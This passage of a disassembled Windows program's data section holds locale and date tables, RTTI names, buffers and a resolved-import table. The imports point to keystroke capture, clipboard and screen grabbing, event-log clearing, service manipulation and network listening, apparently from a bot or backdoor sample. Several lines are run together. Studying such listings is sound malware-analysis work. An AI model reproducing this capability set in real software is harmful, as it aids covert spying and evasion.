		dd offset aDominicanRepub ; "Dominican Republic"
		dd offset dword_4D4F44
		dd 303538h, 0
a1252_17	db '1252',0
		align 4
		db 0Ah
		db ' ',0
		align 4
a200a		db '200a',0
		align 10h
		dd offset aSpanish	; "Spanish"
		dd 565345h, 4357C8h, 4E4556h, 303538h, 0
a1252_18	db '1252',0
		align 10h
		db 0Ah
		db '$',0
		align 4
a240a		db '240a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4F5345
		dd offset aColombia	; "Colombia"
		dd offset byte_4C4F43
		dd 303538h, 0
a1252_19	db '1252',0
		align 4
		db 0Ah
		db '(',0
		align 10h
a280a		db '280a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 525345h, 4357B4h, 524550h, 303538h, 0
a1252_20	db '1252',0
		align 4
		db 0Ah
		db ',',0
		align 4
a2c0a		db '2c0a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 535345h, 4357A8h, 475241h, 303538h, 0
a1252_21	db '1252',0
		align 4
a0		db 0Ah
		db '0',0
		align 4
a300a		db '300a',0
		align 10h
		dd offset aSpanish	; "Spanish"
		dd offset byte_465345
		dd offset aEcuador	; "Ecuador"
		dd 554345h, 303538h, 0
a1252_22	db '1252',0
		align 10h
a4		db 0Ah
		db '4',0
		align 4
a340a		db '340a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4C5345
		dd offset aChile	; "Chile"
		dd offset byte_4C4843
		dd 303538h, 0
a1252_23	db '1252',0
		align 4
a8		db 0Ah
		db '8',0
		align 10h
a380a		db '380a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 595345h, 435790h, 595255h, 303538h, 0
a1252_24	db '1252',0
		align 4
		db 0Ah
		db '<',0
		align 4
a3c0a		db '3c0a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 5A5345h, 435784h, 595250h, 303538h, 0
a1252_25	db '1252',0
		align 4
word_447FD4	dw 0C0Ch, 0C1Ah, 1007h,	436h, 80Ch, 42Dh, 403h,	100Ch
					; DATA XREF: sub_42DCA0+34r
		dw 810h, 81Dh
off_447FE8	dd offset aAmerica	; DATA XREF: sub_42D2B0+9Co
					; "america"
		dd offset loc_415354+1
		dd offset aBritain	; "britain"
		dd 524247h, 4359D8h, 4E4843h, 4359D0h, 455A43h,	4359C8h
		dd 524247h, 4359B8h, 524247h, 4359B0h, 444C4Eh,	4359A4h
		dd 474B48h, 435998h, 4C5A4Eh, 435994h, 4C5A4Eh,	435988h
		dd 4E4843h, 43597Ch, 4E4843h, 435970h, 495250h,	435968h
		dd 4B5653h, 435958h, 46415Ah, 43594Ch, 524F4Bh,	43593Ch
		dd 46415Ah, 435930h, 524F4Bh, 43591Ch, 4F5454h,	4359F8h
		dd 524247h, 43590Ch, 524247h, 4358FCh, 415355h,	4359F4h
		dd 415355h
off_4480A0	dd offset aAmerican	; DATA XREF: sub_42D2B0+67o
					; "american"
		dd 554E45h, 435DE4h, 554E45h, 435DD0h, 554E45h,	435DC4h
		dd 414E45h, 435DBCh, 424C4Eh, 435DB0h, 434E45h,	435DACh
		dd 48485Ah, 435DA8h, 49485Ah, 435DA0h, 534843h,	435D8Ch
		dd 48485Ah, 435D78h, 534843h, 435D64h, 49485Ah,	435D50h
		dd 544843h, 435D40h, 424C4Eh, 435D2Ch, 554E45h,	435D20h
		dd 414E45h, 435D10h, 4C4E45h, 435D04h, 434E45h,	435CF0h
		dd 424E45h, 435CE4h, 494E45h, 435CD4h, 4A4E45h,	435CC8h
		dd 5A4E45h, 435CB0h, 534E45h, 435C94h, 544E45h,	435C88h
		dd 474E45h, 435C7Ch, 554E45h, 435C70h, 554E45h,	435C60h
		dd 425246h, 435C50h, 435246h, 435C3Ch, 4C5246h,	435C2Ch
		dd 535246h, 435C1Ch, 414544h, 435C08h, 434544h,	435BF4h
		dd 4C4544h, 435BE4h, 534544h, 435BD4h, 494E45h,	435BC4h
		dd 535449h, 435BB8h, 524F4Eh, 435BA4h, 524F4Eh,	435B90h
		dd 4E4F4Eh, 435B78h, 425450h, 435B64h, 535345h,	435B54h
		dd 425345h, 435B44h, 4C5345h, 435B30h, 4F5345h,	435B1Ch
		dd 435345h, 435B00h, 445345h, 435AF0h, 465345h,	435ADCh
		dd 455345h, 435AC8h, 475345h, 435AB4h, 485345h,	435AA4h
		dd 4D5345h, 435A94h, 4E5345h, 435A80h, 495345h,	435A70h
		dd 415345h, 435A5Ch, 5A5345h, 435A4Ch, 525345h,	435A38h
		dd 555345h, 435A28h, 595345h, 435A14h, 565345h,	435A04h
		dd 465653h, 4359FCh, 534544h, 4359F8h, 474E45h,	4359F4h
		dd 554E45h, 4359F0h, 554E45h
off_4482A8	dd offset off_4482B0	; DATA XREF: sub_42BD70+70w
					; sub_42BD70:loc_42BE11w ...
		align 10h
off_4482B0	dd offset aSun		; DATA XREF: sub_42BD70:loc_42BE11o
					; .data:off_4482A8o
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset aSaturday	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril	; "April"
		dd offset aMay		; "May"
		dd offset aJune		; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember	; "November"
		dd offset aDecember	; "December"
		dd offset aAm_0		; "AM"
		dd offset aPm_1		; "PM"
		dd offset aMDYy		; "M/d/yy"
		dd offset aDdddMmmmDdYyyy ; "dddd, MMMM	dd, yyyy"
		dd offset aHMmSs	; "H:mm:ss"
		align 10h
dword_448360	dd 2Eh,	0						; .data:off_448368o
off_448368	dd offset dword_448360	; DATA XREF: .data:0042CAF4w
					; .data:0042CB16o ...
off_44836C	dd offset dword_4DE238	; DATA XREF: .data:0042CB02w
off_448370	dd offset dword_4DE238	; DATA XREF: .data:0042CB11w
		dd offset dword_4DE238
		dd offset dword_4DE238
		dd offset dword_4DE238
		dd offset dword_4DE238
		dd offset dword_4DE238
		dd offset dword_4DE238
		dd offset dword_4DE238
		dd 2 dup(7F7F7F7Fh)
off_448398	dd offset off_448368	; DATA XREF: sub_42C6F0:loc_42C7D9r
					; sub_42C6F0+F8r ...
		align 10h
dword_4483A0	dd 7080h						; sub_431AB0+9Br ...
dword_4483A4	dd 1							; sub_431AB0:loc_431B8Ew ...
dword_4483A8	dd 0FFFFF1F0h						; sub_431AB0+E8w ...
dword_4483AC	dd 545350h, 0Fh	dup(0)dword_4483EC	dd 544450h, 0Fh	dup(0)off_44842C	dd offset dword_4483AC	; DATA XREF: sub_430010+534r
					; sub_431AB0+FAr ...
off_448430	dd offset dword_4483EC	; DATA XREF: sub_431AB0+140r
					; sub_431AB0+16Ar ...
		align 8
dword_448438	dd 0FFFFFFFFh						; sub_431E90+1Ar ...
dword_44843C	dd 0							; sub_431E90+20Fr ...
dword_448440	dd 0							; sub_432190+13Dw
		align 8
dword_448448	dd 0FFFFFFFFh						; sub_431AB0+2Br ...
dword_44844C	dd 0							; sub_431E90+21Dr ...
dword_448450	dd 0							; sub_432190+177w ...
		align 8
dword_448458	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4485B8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_431980+2Ao
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh
dword_448710	dd 0AD8A6DDh						; sub_432190+E9r
dword_448714	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_448744	dd 16Dh							; sub_432190+F8r
dword_448748	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
off_448780	dd offset off_4360FC	; DATA XREF: .data:off_436120o
					; .data:0043624Co ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_448798	dd offset off_4360FC	; DATA XREF: .data:off_436138o
					; .data:0043617Co ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_4487B8	dd offset off_4360FC	; DATA XREF: .data:off_436188o
					; .data:004361CCo ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_4487D8	dd offset off_4360FC	; DATA XREF: .data:off_4361D8o
					; .data:0043621Co ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_4487F8	dd offset off_4360FC	; DATA XREF: .data:off_436258o
					; .data:00436294o
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42A4F0
		align 8
dword_448818	dd 0		dword_44881C	dd 0		dword_448820	dd 0							; sub_401C87+AD6o ...
		dd 5 dup(0)
dword_448838	dd 0							; sub_40F82F+60r
		dd 2D9h	dup(0)
dword_4493A0	dd 0							; sub_401C87+4AAFr ...
		dd 7Fh dup(0)
dword_4495A0	dd 0							; sub_40979E+3Aw ...
dword_4495A4	dd 0							; sub_40979E+40w ...
dword_4495A8	dd 0							; sub_40979E+34r ...
dword_4495AC	dd 0							; sub_4019A5+B9w ...
dword_4495B0	dd 0							; sub_409979+2Aw ...
dword_4495B4	dd 0							; sub_401404+441w ...
byte_4495B8	db 0			; DATA XREF: sub_4019A5+91o
					; sub_401C87+49FAr ...
		align 4
		dd 3025h dup(0)
		db 3 dup(0)
byte_455653	db 0			; DATA XREF: .data:00447BF0o
		dd 3Fh dup(0)
		db 3 dup(0)
byte_455753	db 0			; DATA XREF: .data:00447BF8o
		dd 3EFCh dup(0)
		db 0
byte_465345	db 3 dup(0)		; DATA XREF: .data:00447F34o
		dd 3FFFh dup(0)
		db 0
byte_475345	db 3 dup(0)		; DATA XREF: .data:00447D50o
		dd 7FBEh dup(0)
		db 3 dup(0)
byte_495243	db 0			; DATA XREF: .data:00447DB0o
		dd 0BCBFh dup(0)
		db 2 dup(0)
word_4C4542	dw 0			; DATA XREF: .data:00447C7Co
		dd 0BFh	dup(0)
		db 3 dup(0)
byte_4C4843	db 0			; DATA XREF: .data:00447F68o
		dd 1BFh	dup(0)
		db 3 dup(0)
byte_4C4F43	db 0			; DATA XREF: .data:00447EB8o
		dd 0C0h	dup(0)
		db 2 dup(0)
word_4C5246	dw 0			; DATA XREF: .data:00447DD4o
		dd 3Fh dup(0)
		db 0
byte_4C5345	db 3 dup(0)		; DATA XREF: .data:00447F60o
		db 0
byte_4C5349	db 3 dup(0)		; DATA XREF: .data:00447BC4o
					; .data:00447BCCo
		dd 3B81h dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: .data:off_4431E8o
		dd 37Ch	dup(0)
dword_4D4F44	dd 100h	dup(0)			db 0
byte_4D5345	db 3 dup(0)		; DATA XREF: .data:00447C48o
		dd 3Fh dup(0)
		db 3 dup(0)
byte_4D5447	db 0			; DATA XREF: .data:00447D58o
		dd 3D6h	dup(0)
dword_4D63A0	dd 0D78Eh						; sub_409663+13o ...
dword_4D63A4	dd 2FE4h						; sub_401C87:loc_404159r ...
dword_4D63A8	dd 0		dword_4D63AC	dd 20h dup(0)						; sub_401404+50Do ...
dword_4D642C	dd 10h dup(0)	dword_4D646C	dd 24h dup(0)	dword_4D64FC	dd 0							; sub_401404+524w ...
dword_4D6500	dd 0				dd 2 dup(0)
byte_4D650C	db 0			; DATA XREF: sub_401404+4B2o
					; sub_401404+530o
byte_4D650D	db 0			; DATA XREF: sub_401404:loc_401944r
					; sub_401404+54Eo
byte_4D650E	db 0			; DATA XREF: sub_401404+564o
byte_4D650F	db 0			; DATA XREF: sub_401404+576o
		db 0
byte_4D6511	db 3 dup(0)		; DATA XREF: .data:00437810o
dword_4D6514	dd 0							; sub_401404+4E2r ...
dword_4D6518	dd 0							; sub_401C87+87Br
byte_4D651C	db 0			; DATA XREF: sub_401404+23Eo
byte_4D651D	db 0			; DATA XREF: sub_401C87+1AD1o
word_4D651E	dw 0			; DATA XREF: sub_401C87+47ECo
dword_4D6520	dd 0		dword_4D6524	dd 77F16E6Fh	; resolved to->GDI32.DeleteDC					; sub_4076E5+4EBr ...
dword_4D6528	dd 7C864230h	; resolved to->KERNEL32.Module32First					; sub_4137F3+163r
dword_4D652C	dd 42C5AE03h	; resolved to->WININET.InternetGetConnectedStateExA					; sub_4076E5+880r ...
dword_4D6530	dd 5B894364h						; sub_4076E5+A43r ...
dword_4D6534	dd 5B86FEB8h						; sub_4076E5+A13r ...
dword_4D6538	dd 77F15B80h	; resolved to->GDI32.SelectObject					; sub_4076E5+4DBr ...
dword_4D653C	dd 7E41C505h	; resolved to->USER32.GetKeyState					; sub_4076E5+234r
dword_4D6540	dd 5B894160h						; sub_4076E5+A3Br ...
dword_4D6544	dd 77DEB88Ch	; resolved to->ADVAPI32.OpenServiceA					; sub_4076E5+3C7r ...
dword_4D6548	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameA					; sub_4147AC+11Er
dword_4D654C	dd 77DF3238h	; resolved to->ADVAPI32.StartServiceA					; sub_4076E5+3CFr ...
dword_4D6550	dd 77DFCF32h	; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_41285C+ADr
dword_4D6554	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSet					; sub_40D826+115r
dword_4D6558	dd 7C83039Bh	; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_4076E5+D2r ...
dword_4D655C	dd 5B86FDE8h						; sub_4076E5+A06r ...
dword_4D6560	dd 77DE5E4Dh	; resolved to->ADVAPI32.CloseServiceHandle					; sub_4076E5+3E7r ...
dword_4D6564	dd 42C41384h	; resolved to->WININET.InternetCrackUrlA					; sub_4076E5+8ACr ...
dword_4D6568	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExA					; sub_4076E5+2F0r ...
dword_4D656C	dd 42C30BFAh	; resolved to->WININET.InternetOpenUrlA					; sub_4076E5+8A4r ...
dword_4D6570	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequencydword_4D6574	dd 42C2ABF4h	; resolved to->WININET.InternetReadFile					; sub_4076E5+8B4r ...
dword_4D6578	dd 71AC0979h	; resolved to->WS2_32.WSAAsyncSelect					; sub_4076E5+6D0r ...
dword_4D657C	dd 7C863F58h	; resolved to->KERNEL32.Process32Next					; sub_4076E5+CAr ...
dword_4D6580	dd 76D64B79h	; resolved to->IPHLPAPI.IcmpSendEchodword_4D6584	dd 76F3798Ah	; resolved to->DNSAPI.DnsFlushResolverCache					; sub_4076E5+A95w ...
dword_4D6588	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_4076E5+F2r
dword_4D658C	dd 77F1AC3Dh	; resolved to->GDI32.GetDIBColorTable					; sub_4076E5+4D3r ...
dword_4D6590	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_40A4FF+20r ...
dword_4D6594	dd 5B8A3009h						; sub_4076E5+A33r
dword_4D6598	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_4076E5+754r ...
dword_4D659C	dd 5B869A3Ah	dword_4D65A0	dd 71B25099h						; sub_4098A5+16o ...
dword_4D65A4	dd 42C367F6h	; resolved to->WININET.InternetGetConnectedState					; sub_4076E5+86Dr ...
dword_4D65A8	dd 7E45A045h	; resolved to->USER32.ExitWindowsEx					; sub_411DBC+15r
dword_4D65AC	dd 5B868E65h						; sub_4076E5+A1Br ...
dword_4D65B0	dd 77DEB635h	; resolved to->ADVAPI32.ControlService					; sub_4076E5+3D7r ...
dword_4D65B4	dd 77E37311h	; resolved to->ADVAPI32.DeleteService					; sub_4076E5+3DFr ...
dword_4D65B8	dd 73B81E3Bh						; sub_4076E5+C8Cr ...
dword_4D65BC	dd 71AC0B50h	; resolved to->WS2_32.getpeernamedword_4D65C0	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_401300+23r ...
dword_4D65C4	dd 77F16C0Ah	; resolved to->GDI32.DeleteObject					; sub_40FC06+207r
dword_4D65C8	dd 5B894541h						; sub_4076E5+A4Br ...
dword_4D65CC	dd 77DDEDE5h	; resolved to->ADVAPI32.RegDeleteValueA					; sub_4076E5+2B2w ...
dword_4D65D0	dd 7C82C2D3h	; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_4076E5+DAr ...
dword_4D65D4	dd 7CA41110h	; resolved to->SHELL32.ShellExecuteA					; sub_401C87+4533r ...
dword_4D65D8	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_401C87+411Fr ...
dword_4D65DC	dd 42C2CD78h	; resolved to->WININET.HttpSendRequestA					; sub_4076E5+890r ...
dword_4D65E0	dd 5B897BE9h						; sub_4076E5+A23r
dword_4D65E4	dd 74344AE7h						; sub_4076E5+C3Fr ...
dword_4D65E8	dd 77DF64A0h	; resolved to->ADVAPI32.OpenEventLogA					; sub_411F66+47r
dword_4D65EC	dd 7E41BE4Bh	; resolved to->USER32.GetForegroundWindowdword_4D65F0	dd 76D64D5Eh	; resolved to->IPHLPAPI.IcmpCreateFile					; sub_4076E5+92Er
dword_4D65F4	dd 74327E4Dh	dword_4D65F8	dd 77E0C4B8h	; resolved to->ADVAPI32.ClearEventLogA					; sub_411F66+4Fr
dword_4D65FC	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError					; sub_4076E5+6E8r ...
dword_4D6600	dd 42C2C8A1h	; resolved to->WININET.InternetOpenA					; sub_4076E5+873r
dword_4D6604	dd 7E43212Bh	; resolved to->USER32.GetWindowTextA					; sub_4076E5+23Cr
dword_4D6608	dd 7E41B933h	; resolved to->USER32.IsWindow					; sub_4076E5+1C2r ...
dword_4D660C	dd 71AB951Eh	; resolved to->WS2_32.getsockname					; sub_401C87+46E9r ...
dword_4D6610	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_401C87+41A9r ...
dword_4D6614	dd 71AB4489h	; resolved to->WS2_32.WSAIoctl					; sub_4076E5+6DCr
dword_4D6618	dd 0CC0004h						; sub_4076E5:loc_407FDEw ...
dword_4D661C	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExA					; sub_4076E5+28Bw ...
dword_4D6620	dd 71ABE479h	; resolved to->WS2_32.gethostbyaddr					; sub_4076E5+69Fw ...
dword_4D6624	dd 77DFD11Bh	; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_4076E5+341r ...
dword_4D6628	dd 77DEAF3Fh	; resolved to->ADVAPI32.EnumServicesStatusA					; sub_4076E5+3EFr ...
dword_4D662C	dd 743452A3h						; sub_4076E5+C37r ...
dword_4D6630	dd 42C24399h	; resolved to->WININET.HttpOpenRequestA					; sub_4076E5+888r ...
dword_4D6634	dd 7E41F3B3h	; resolved to->USER32.GetAsyncKeyState					; sub_4076E5+227r
dword_4D6638	dd 7E430237h	; resolved to->USER32.OpenClipboard					; sub_4076E5+1D2r ...
dword_4D663C	dd 42C249F2h	; resolved to->WININET.InternetConnectA					; sub_4076E5+898r ...
dword_4D6640	dd 71AB2D0Fh	; resolved to->WS2_32.recvfrom					; sub_4076E5+774r ...
dword_4D6644	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_4076E5+2BFw ...
dword_4D6648	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; sub_4076E5+79Cr ...
dword_4D664C	dd 77DD7753h	; resolved to->ADVAPI32.OpenProcessToken					; sub_4076E5+334r ...
dword_4D6650	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_4076E5+784r ...
dword_4D6654	dd 77F1B221h	; resolved to->GDI32.CreateDCA					; sub_4076E5+4AEr ...
dword_4D6658	dd 7E430D7Ah	; resolved to->USER32.GetClipboardData					; sub_4076E5+1DAr ...
dword_4D665C	dd 77DEADA7h	; resolved to->ADVAPI32.OpenSCManagerA					; sub_4076E5+3BAr ...
dword_4D6660	dd 76F37ABDh	; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_4D6664	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_4076E5+748r ...
dword_4D6668	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_401C87+415Br ...
dword_4D666C	dd 7C863DE5h	; resolved to->KERNEL32.Process32First					; sub_4076E5+C2r ...
dword_4D6670	dd 77F15A7Ah	; resolved to->GDI32.GetDeviceCaps					; sub_4076E5+4CBr ...
dword_4D6674	dd 7E42DE87h	; resolved to->USER32.FindWindowA					; sub_4076E5+1BAr ...
dword_4D6678	dd 5B8A5199h						; sub_4076E5+A5Br ...
dword_4D667C	dd 71AB50C8h	; resolved to->WS2_32.gethostname					; sub_4076E5+7ACr
dword_4D6680	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_401C87+41BEr ...
dword_4D6684	dd 74343318h						; sub_4076E5+C47r ...
dword_4D6688	dd 7C864B0Fh	; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_4076E5+BAr ...
dword_4D668C	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExA					; sub_4076E5+298w ...
dword_4D6690	dd 71AB88D3h	; resolved to->WS2_32.listen					; sub_4076E5+78Cr ...
dword_4D6694	dd 71AB3E00h	; resolved to->WS2_32.bind					; sub_4076E5+77Cr ...
dword_4D6698	dd 73B81B0Fh						; sub_4076E5+C92w
dword_4D669C	dd 42C1DAC1h	; resolved to->WININET.InternetCloseHandle					; sub_410C53+4C9r ...
dword_4D66A0	dd 0		dword_4D66A4	dd 743527D4h						; sub_4076E5+C22r ...
dword_4D66A8	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_401C87+4BDFr ...
dword_4D66AC	dd 77F19219h	; resolved to->GDI32.CreateDIBSection					; sub_4076E5+4BBr ...
dword_4D66B0	dd 77F16F89h	; resolved to->GDI32.BitBlt					; sub_4076E5+4E3r ...
dword_4D66B4	dd 77F15FF0h	; resolved to->GDI32.CreateCompatibleDC					; sub_4076E5+4C3r ...
dword_4D66B8	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_401C87+41DBr ...
dword_4D66BC	dd 7E430225h	; resolved to->USER32.CloseClipboard					; sub_4076E5+1E2r ...
dword_4D66C0	dd 5B86AA41h						; sub_4076E5+A53r ...
dword_4D66C4	dd 7E42F383h	; resolved to->USER32.SendMessageA					; sub_4076E5+1ADr ...
dword_4D66C8	dd 7C8214E3h	; resolved to->KERNEL32.GetDriveTypeA					; sub_4076E5+E2r ...
dword_4D66CC	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_4076E5+764r ...
dword_4D66D0	dd 71B2547Ah						; sub_4076E5+B5Fr
dword_4D66D4	dd 77DFC534h	; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_413788+55r
dword_4D66D8	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_4076E5+2D3r ...
dword_4D66DC	dd 7CA235CBh	; resolved to->SHELL32.SHChangeNotifydword_4D66E0	dd 76D6A195h	; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_40879E+D4r
dword_4D66E4	dd 76D69962h	; resolved to->IPHLPAPI.GetIpNetTable					; sub_4076E5+AE6r ...
dword_4D66E8	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_401C87+413Ar ...
dword_4D66EC	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_401C87+412Cr ...
dword_4D66F0	dd 7432FF6Bh						; sub_4076E5+C2Fr ...
dword_4D66F4	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_401C87+388Er ...
dword_4D66F8	dd 5B867750h						; sub_4076E5+A2Br ...
dword_4D66FC	dd 71AC1028h	; resolved to->WS2_32.accept					; sub_4076E5+794r ...
dword_4D6700	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_4019A5+D0r ...
dword_4D6704	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_4076E5+70Cr ...
dword_4D6708	dd 71B2578Ch						; sub_4076E5+B57r
dword_4D670C	dd 71AB8769h	; resolved to->WS2_32.WSASocketA					; sub_4076E5+6C4r
dword_4D6710	dd 71B2517Fh						; sub_4076E5+B4Ar
dword_4D6714	dd 7C80AC0Fh	; resolved to->KERNEL32.SetErrorMode					; sub_4076E5+31w ...
dword_4D6718	dd 7E41DAEAh	; resolved to->USER32.DestroyWindow					; sub_4076E5+1CAr ...
dword_4D671C	dd 76D64D33h	; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_4076E5+93Br
dword_4D6720	dd 7C8217EAh	; resolved to->KERNEL32.SearchPathA					; sub_4076E5+EAr ...
dword_4D6724	dd 0							; sub_4076E5+12Bw ...
dword_4D6728	dd 0							; sub_4083A1+1Cr
dword_4D672C	dd 0							; sub_4076E5:loc_40793Aw ...
dword_4D6730	dd 0							; sub_4083A1+50r
dword_4D6734	dd 0							; sub_401C87+2DD1r ...
dword_4D6738	dd 0							; sub_4083A1+84r
dword_4D673C	dd 0							; sub_4083A1:loc_408451r
dword_4D6740	dd 0							; sub_4083A1+B8r
dword_4D6744	dd 0							; sub_4083A1:loc_408485r
dword_4D6748	dd 0							; sub_4083A1+ECr
dword_4D674C	dd 0							; sub_4076E5+8EFw ...
dword_4D6750	dd 0							; sub_4083A1+120r
dword_4D6754	dd 0							; sub_4083A1:loc_4084EDr
dword_4D6758	dd 0							; sub_4083A1+154r
dword_4D675C	dd 0							; sub_4076E5:loc_408155w ...
dword_4D6760	dd 0							; sub_4083A1+188r
dword_4D6764	dd 0							; sub_4083A1:loc_408555r
dword_4D6768	dd 0							; sub_4083A1+1BCr
dword_4D676C	dd 0							; sub_4083A1:loc_408589r
dword_4D6770	dd 0							; sub_4083A1+1F0r
dword_4D6774	dd 0							; sub_4083A1:loc_4085BDr
dword_4D6778	dd 0							; sub_4083A1+224r
dword_4D677C	dd 0							; sub_4083A1:loc_4085F1r
dword_4D6780	dd 0							; sub_4083A1+258r
